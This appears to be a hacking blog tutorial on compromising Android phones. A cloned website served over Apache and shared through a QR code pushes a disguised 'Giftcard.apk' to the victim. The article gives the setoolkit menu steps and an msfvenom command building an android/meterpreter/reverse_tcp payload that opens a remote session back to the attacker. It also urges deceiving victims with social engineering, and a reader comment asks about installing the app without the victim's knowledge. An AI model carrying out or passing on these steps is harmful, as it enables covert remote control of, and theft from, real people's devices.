Hey Folks, in this article we will show you the whole scenario that how attackers hack android smartphone by using QR code and HTA attack techniques. To accomplish this task we must have a Kali Linux operating system. We think most people are familiar with QR code, so we only need to discuss about the HTA attack. So letβs talk about this before moving on to the main topic.
The HTA Attack method will allow us to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser. It is a simple HTML application that can provide full access to the remote attacker. The usual file extension of an HTA is (.hta).
Letβs take a look π !!
It is a dependency on all that we will download first. We will need a web server to host the HTA malicious file, which is why we will download the Apache web server using the following command.
apt install apache2
Setookit already comes in kali linux and it is an automatic tool, designed to create a payload and performed advance attack. Simply we can boot this tool by using the following command. After opening the tool, press 1 and select the first option.
setoolkit
Now press 2 and select the second option βWebsite Attack Vectorsβ.
Near π !! We have been reached to the destination. Just press 7 to select HTA attack.
Now here we get three options in which through the first option we can only choose the default template, the second option is given to clone any web application and we can import our custom web template by selecting the third option . In our case we will choose second option to clone the web application.
Now we enter the URL that we want to clone and then enter the localhost address along with the port number.
Nice π !! You can see that we do not need to add our extra efforts because it does everything automatically.
Simultaneously open a new terminal, go the root folder of the apache web server and make payload on there by takes help of given command. After the payload is created then open the βindex.htmlβ file using the nano command.
cd /var/www/html/
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.13 lport=1234 R > Giftcard.apk
ls -l
nano index.html
Now we need to change the source name βLauncher .htaβ to βGiftcard.apkβ by which name we first created a payload.
Now we have to install the extension on our Chrome browser to get the QR code of our web server. You can install it form here.
All you have to do is open the IP address of your apache web server anywhere, click on the extension and you will get the QR code which you can share to the victim.
Wait π !! Once the victim scans the QR code given by the attacker, the malicious payload pops up on the android device.
Wonderful π !! And as soon as the victim downloads and install the payload, we get the meterpreter session of his device.
In the same way you can deceived to the victim by applying social engineering techniques and your own ideas.
A keen learner and passionate IT student. He has done Web designing, CCNA, RedHat, Ethical hacking, Network & web penetration testing. Currently, he is completing his graduation and learning about Red teaming, CTF challenges & Blue teaming.
The gau (Get All URLs) tool is a versatile open-source utility that collects URLs from…
Jsluice++ is a Burp Suite extension designed for passive and active scanning of JavaScript traffic…
Hey Folks :) !! In this tutorial, we will describe some of the techniques commonly…
Hey Folks :) !! In this article, we present the "Termux Cheat Sheet for Hackers"…
Amid the rapid advancement of technology, the significance of human involvement in cybersecurity frequently goes…
Hey Folks, we are back today after such a long break, but don't worry we…
This website uses cookies.
View Comments
Why the victim will install that application.? Is there any way where an attacker can install the app without victim knowledge?
no yet ! sorry :(